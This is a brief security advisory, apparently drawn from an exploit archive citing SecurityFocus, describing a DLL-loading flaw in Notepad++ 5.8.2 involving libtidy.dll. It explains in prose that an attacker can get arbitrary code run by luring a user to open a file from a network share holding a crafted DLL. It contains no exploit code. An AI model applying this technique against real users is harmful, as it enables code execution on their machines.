Notepad++ 5.8.2 - 'libtidy.dll' DLL Loading Arbitrary Code Execution

source: https://www.securityfocus.com/bid/44052/info

Notepad++ is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.

Notepad++ 5.8.2 is vulnerable; other versions may also be affected.
